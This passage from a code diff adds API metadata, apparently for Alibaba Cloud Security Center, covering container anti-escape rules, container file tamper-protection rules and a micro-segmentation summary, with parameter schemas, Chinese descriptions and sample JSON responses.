], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69\\n },\\n \\"RuleList\\": [\\n {\\n \\"GmtCreate\\": 1676355025000,\\n \\"GmtModified\\": 1681985833000,\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"test-18****\\",\\n \\"RuleDescription\\": \\"system_call\\",\\n \\"RuleTemplateId\\": \\"868**\\",\\n \\"RuleTemplateName\\": \\"system_call\\",\\n \\"Mode\\": 1,\\n \\"SelectedPolicy\\": [\\n \\"system_schedule_task\\"\\n ],\\n \\"SwitchId\\": \\"USER-ENABLE-SWITCH-TYPE_****\\",\\n \\"WhiteImages\\": [\\n \\"nginx:latest\\"\\n ],\\n \\"Policies\\": [\\n {\\n \\"PolicyKey\\": \\"system_auto_****\\",\\n \\"PolicyName\\": \\"系统自启动任务****\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询容器防逃逸规则列表', + ], + 'ListSasContainerWebDefenseRule' => [ + 'summary' => '列表查询容器文件防御规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，包含以下字段：'."\n" + .'- **name**：检索项'."\n" + .'- **value**：检索项值'."\n" + .'- **logicalExp**：多个检索项值生效的逻辑关系。取值：'."\n" + .' - **OR**：表示多个检索项值之间是**或**的关系。'."\n" + .' - **AND**：表示多个检索项值之间是**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"name\\":\\"ruleName\\",\\"value\\":\\"test-1818\\",\\"logicalExp\\":\\"AND\\"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + ."\n" + .'- **OR**：表示多个搜索条件之间是**或**的关系。'."\n" + .'- **AND**：表示多个搜索条件之间是**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的资产的数量。默认值为**20**，表示每页显示20条资产信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '50', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '请求的ID。用于定位日志，排查问题。', + 'type' => 'string', + 'example' => '8C376***AE74FB4', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '42', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'ContainerWebDefenseRuleList' => [ + 'description' => '容器文件防御规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器文件防御规则。', + 'type' => 'object', + 'properties' => [ + 'RuleStatus' => [ + 'description' => '规则状态。取值说明如下：'."\n" + ."\n" + .'- **1**：启用'."\n" + .'- **0**：禁用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AliUid' => [ + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1766185894104675', + ], + 'ApptotalCount' => [ + 'description' => '配置的应用数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '420336648', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test2', + ], + 'GmtCreate' => [ + 'description' => '创建时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1698978109000', + ], + 'GmtModified' => [ + 'description' => '告警事件最后修改的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1678852686000', + ], + 'PathConfDTOList' => [ + 'description' => '规则防御路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则防御路径。', + 'type' => 'object', + 'properties' => [ + 'ExcludeFile' => [ + 'description' => '排除的文件。', + 'type' => 'string', + 'example' => 'php', + ], + 'GuardType' => [ + 'description' => '防护模式 。'."\n" + .'- **0** ：基础模式 （白名单） '."\n" + .'- **1** ：复杂模式（黑名单）', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ExcludeFilePath' => [ + 'description' => '排除文件路径。', + 'type' => 'string', + 'example' => '/usr/tt', + ], + 'IncludeFile' => [ + 'description' => '包含的文件。', + 'type' => 'string', + 'example' => '/usr/test', + ], + 'IncludeFileType' => [ + 'description' => '包含文件的类型', + 'type' => 'string', + 'example' => 'php', + ], + 'DefensePath' => [ + 'description' => '防御路径。', + 'type' => 'string', + 'example' => '/usr/test/', + ], + 'ExcludeFileType' => [ + 'description' => '排除文件类型。', + 'type' => 'string', + 'example' => 'jsp', + ], + 'DefenseMode' => [ + 'description' => '执行动作。'."\n" + .'- **block** ：拦截'."\n" + .'- **audit** ：告警', + 'type' => 'string', + 'example' => 'audit', + ], + 'BackupPath' => [ + 'description' => '备份路径。', + 'type' => 'string', + 'example' => '/tmp/test', + ], + 'ProcessPathList' => [ + 'description' => '白名单进程列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单进程。', + 'type' => 'string', + 'example' => '/usr/bin/mv', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8C376***AE74FB4\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 42,\\n \\"Count\\": 4\\n },\\n \\"ContainerWebDefenseRuleList\\": [\\n {\\n \\"RuleStatus\\": 1,\\n \\"AliUid\\": 1766185894104675,\\n \\"ApptotalCount\\": 10,\\n \\"Id\\": 420336648,\\n \\"RuleName\\": \\"test2\\",\\n \\"GmtCreate\\": 1698978109000,\\n \\"GmtModified\\": 1678852686000,\\n \\"PathConfDTOList\\": [\\n {\\n \\"ExcludeFile\\": \\"php\\",\\n \\"GuardType\\": 0,\\n \\"ExcludeFilePath\\": \\"/usr/tt\\",\\n \\"IncludeFile\\": \\"/usr/test\\",\\n \\"IncludeFileType\\": \\"php\\",\\n \\"DefensePath\\": \\"/usr/test/\\",\\n \\"ExcludeFileType\\": \\"jsp\\",\\n \\"DefenseMode\\": \\"audit\\",\\n \\"BackupPath\\": \\"/tmp/test\\",\\n \\"ProcessPathList\\": [\\n \\"/usr/bin/mv\\"\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '列表查询容器文件防御规则', + ], + 'GetSasContainerWebDefenseRule' => [ + 'summary' => '获取容器文件防御规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListSasContainerWebDefenseRule](~~ListSasContainerWebDefenseRule~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1600009', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BA674E4**62FB5133', + ], + 'ContainerWebDefenseRule' => [ + 'description' => '容器文件防御规则详情。', + 'type' => 'object', + 'properties' => [ + 'RuleStatus' => [ + 'description' => '规则状态。取值说明如下：'."\n" + ."\n" + .'- **1**：启用'."\n" + .'- **0**：禁用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AliUid' => [ + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1000**0002', + ], + 'AppTotalCount' => [ + 'description' => '应用总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => '防篡改规则', + ], + 'GmtCreate' => [ + 'description' => '创建规则的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1709173360000', + ], + 'GmtModified' => [ + 'description' => '修改规则的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1655432638000', + ], + 'PathConfDTOList' => [ + 'description' => '配置的文件路径列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ExcludeFile' => [ + 'description' => '排除的文件。', + 'type' => 'string', + 'example' => 'file1', + ], + 'GuardType' => [ + 'description' => '防护模式 。'."\n" + .'- **0** ： 基础模式 （白名单） '."\n" + .'- **1** ：复杂模式（黑名单）', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ExcludeFilePath' => [ + 'description' => '排除文件路径。', + 'type' => 'string', + 'example' => '/test2/sub1,/test2/sub2', + ], + 'IncludeFile' => [ + 'description' => '包含的文件。', + 'type' => 'string', + 'example' => 'webapp', + ], + 'DefensePath' => [ + 'description' => '防御路径。', + 'type' => 'string', + 'example' => '/test11*', + ], + 'ExcludeFileType' => [ + 'description' => '排除文件类型。', + 'type' => 'string', + 'example' => 'doc', + ], + 'DefenseMode' => [ + 'description' => '执行动作。'."\n" + .'- **block** ：拦截'."\n" + .'- **audit** ：告警', + 'type' => 'string', + 'example' => 'audit', + ], + 'BackupPath' => [ + 'description' => '备份路径。', + 'type' => 'string', + 'example' => '/usr/path/', + ], + 'IncludeFileType' => [ + 'description' => '包含文件的类型。', + 'type' => 'string', + 'example' => 'doc', + ], + 'ProcessPathList' => [ + 'description' => '白名单进程列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单进程。', + 'type' => 'string', + 'example' => '/bin/proc1a,/bin/proc1b', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BA674E4**62FB5133\\",\\n \\"ContainerWebDefenseRule\\": {\\n \\"RuleStatus\\": 1,\\n \\"AliUid\\": 0,\\n \\"AppTotalCount\\": 1,\\n \\"Id\\": 100,\\n \\"RuleName\\": \\"防篡改规则\\",\\n \\"GmtCreate\\": 1709173360000,\\n \\"GmtModified\\": 1655432638000,\\n \\"PathConfDTOList\\": [\\n {\\n \\"ExcludeFile\\": \\"file1\\",\\n \\"GuardType\\": 0,\\n \\"ExcludeFilePath\\": \\"/test2/sub1,/test2/sub2\\",\\n \\"IncludeFile\\": \\"webapp\\",\\n \\"DefensePath\\": \\"/test11*\\",\\n \\"ExcludeFileType\\": \\"doc\\",\\n \\"DefenseMode\\": \\"audit\\",\\n \\"BackupPath\\": \\"/usr/path/\\",\\n \\"IncludeFileType\\": \\"doc\\",\\n \\"ProcessPathList\\": [\\n \\"/bin/proc1a,/bin/proc1b\\"\\n ]\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取容器文件防御规则详情', + ], + 'OperateSwitchStatus' => [ + 'summary' => '更改容器文件防御规则状态。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListSasContainerWebDefenseRule](~~2623606~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '900001', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '容器防篡改规则状态。on：开启 off：关闭', + 'type' => 'string', + 'required' => true, + 'example' => 'on', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8AE9D3DA-406B-51FA-AA1C-89440C1459BF', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8AE9D3DA-406B-51FA-AA1C-89440C1459BF\\"\\n}","type":"json"}]', + 'title' => '更改容器文件防御规则状态', + ], + 'AddSasContainerWebDefenseRule' => [ + 'summary' => '增加容器文件防御规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-2020', + 'maxLength' => 50, + 'minLength' => 3, + ], + ], + [ + 'name' => 'PathConfDTOList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则防御路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防御规则路径。', + 'type' => 'object', + 'properties' => [ + 'DefensePath' => [ + 'description' => '防御路径。', + 'type' => 'string', + 'required' => true, + 'example' => '/usr/test/', + 'maxLength' => 500, + ], + 'BackupPath' => [ + 'description' => '备份路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/tmp/test', + ], + 'ExcludeFilePath' => [ + 'description' => '排除文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/test/tt', + ], + 'ExcludeFileType' => [ + 'description' => '排除文件类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'jsp', + ], + 'ExcludeFile' => [ + 'description' => '排除的文件。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/test/aa', + ], + 'GuardType' => [ + 'description' => '防护模式 。'."\n" + .'- **0** ：基础模式 （白名单） '."\n" + .'- **1** ：复杂模式（黑名单）', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + 'IncludeFileType' => [ + 'description' => '包含文件的类型。', + 'type' => 'string', + 'required' => false, + 'example' => '*.jsp', + ], + 'IncludeFile' => [ + 'description' => '包含的文件。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/test/t1', + ], + 'DefenseMode' => [ + 'description' => '执行动作。'."\n" + .'- **block** ：拦截'."\n" + .'- **audit** ：告警', + 'type' => 'string', + 'required' => false, + 'example' => 'audit', + ], + 'ProcessPathList' => [ + 'description' => '白名单进程列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单进程。', + 'type' => 'string', + 'required' => false, + 'example' => '/bin/cp', + 'maxLength' => 50, + 'minLength' => 0, + ], + 'required' => true, + 'maxItems' => 10, + 'minItems' => 0, + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回值对象', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '8B4B6E6D-B0B0-5F05-A14E-82917D9648EE', + ], + 'Data' => [ + 'description' => '新创建的规则唯一值。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '200634', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8B4B6E6D-B0B0-5F05-A14E-82917D9648EE\\",\\n \\"Data\\": 200634\\n}","type":"json"}]', + 'title' => '增加容器文件防御规则', + ], + 'ModifySasContainerWebDefenseRule' => [ + 'summary' => '修改容器文件防御规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '200634', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'wwwwwww', + ], + ], + [ + 'name' => 'PathConfDTOList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则防御路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则防御路径列表。', + 'type' => 'object', + 'properties' => [ + 'DefensePath' => [ + 'description' => '防御路径。', + 'type' => 'string', + 'required' => true, + 'example' => '/test/home/', + ], + 'BackupPath' => [ + 'description' => '备份路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/tmp/test', + ], + 'ExcludeFilePath' => [ + 'description' => '排除文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/test/home/qq', + ], + 'ExcludeFileType' => [ + 'description' => '排除文件类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'php', + ], + 'ExcludeFile' => [ + 'description' => '排除的文件。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/test', + ], + 'GuardType' => [ + 'description' => '防护模式 。'."\n" + .'- **0** ： 基础模式 （白名单） '."\n" + .'- **1** ：复杂模式（黑名单）', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + 'IncludeFileType' => [ + 'description' => '包含文件的类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'jsp', + ], + 'IncludeFile' => [ + 'description' => '包含的文件。', + 'type' => 'string', + 'required' => false, + 'example' => '/home/admin/test', + ], + 'DefenseMode' => [ + 'description' => '执行动作。'."\n" + .'- **block** ：拦截'."\n" + .'- **audit** ：告警', + 'type' => 'string', + 'required' => true, + 'example' => 'audit', + ], + 'ProcessPathList' => [ + 'description' => '白名单进程列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单进程列表。', + 'type' => 'string', + 'required' => false, + 'example' => '/bin/bash', + ], + 'required' => false, + 'maxItems' => 10, + 'minItems' => 1, + ], + 'PathConfId' => [ + 'description' => '路径ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '12345678', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A447E4E3-42A3-58B7-A7D4-2287745BEFDC', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A447E4E3-42A3-58B7-A7D4-2287745BEFDC\\"\\n}","type":"json"}]', + 'title' => '修改容器文件防御规则', + ], + 'GetSasContainerWebDefenseRuleApplication' => [ + 'summary' => '获取容器文件防御配置的应用列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用ListSasContainerWebDefenseRule接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '400599', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'ContainerWebDefenseAppList' => [ + 'description' => '应用列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'GmtCreate' => [ + 'description' => '应用的创建时间（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1677839038000', + ], + 'AliUid' => [ + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5944922169365****', + ], + 'Tag' => [ + 'description' => '应用标签值。', + 'type' => 'string', + 'example' => 'app:test', + ], + 'GmtModified' => [ + 'description' => '最新一次修改时间（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1667891185000', + ], + 'Id' => [ + 'description' => '当前节点的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '143761', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '403327', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'example' => 'cfb41a869c71e4678a97021582dd8****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"ContainerWebDefenseAppList\\": [\\n {\\n \\"GmtCreate\\": 1677839038000,\\n \\"AliUid\\": 0,\\n \\"Tag\\": \\"app:test\\",\\n \\"GmtModified\\": 1667891185000,\\n \\"Id\\": 143761,\\n \\"RuleId\\": 403327,\\n \\"ClusterId\\": \\"cfb41a869c71e4678a97021582dd8****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取容器文件防御配置的应用列表', + ], + 'ModifyClusterCnnfStatusUserConfirm' => [ + 'summary' => '用于修复待确认的集群拦截状态。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '103078', + 'abilityTreeNodes' => [ + 'FEATUREsas5HPCI8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '集群ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群ID，根据[ListClusterInterceptionConfig](~~ListClusterInterceptionConfig~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => 'cf55f3bd2bad747858c6a5f2101ad****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'UserConfirm', + 'in' => 'query', + 'schema' => [ + 'description' => '用户是否修复集群拦截状态。取值：'."\n" + ."\n" + .'- true：确认修复'."\n" + ."\n" + .'- false：不修复', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4FFBEDBD-FA63-5213-9103-306519EE4857', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4FFBEDBD-FA63-5213-9103-306519EE4857\\"\\n}","type":"json"}]', + 'title' => '修改集群拦截状态', + ], + 'GetInterceptionSummary' => [ + 'summary' => '查询微隔离防御总览。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的集群的ID，只对返回值InterceptionCountInDays生效。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c2999***bb61b', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', + ], + 'InterceptionSummary' => [ + 'description' => '统计信息。', + 'type' => 'object', + 'properties' => [ + 'CloseClusterCount' => [ + 'description' => '未防护的集群数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskCount30Day' => [ + 'description' => '最近30天风险数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'RiskCount180Day' => [ + 'description' => '最近180天风险数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'OpenClusterCount' => [ + 'description' => '开启防护的集群数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskCountToday' => [ + 'description' => '最近24小时风险数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'CloseRuleCount' => [ + 'description' => '关闭的规则数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RuleCount' => [ + 'description' => '规则总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ClusterCount' => [ + 'description' => '总集群数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'OpenRuleCount' => [ + 'description' => '启用的规则数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InterceptionCountInDays' => [ + 'description' => '指定集群的拦截记录总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": 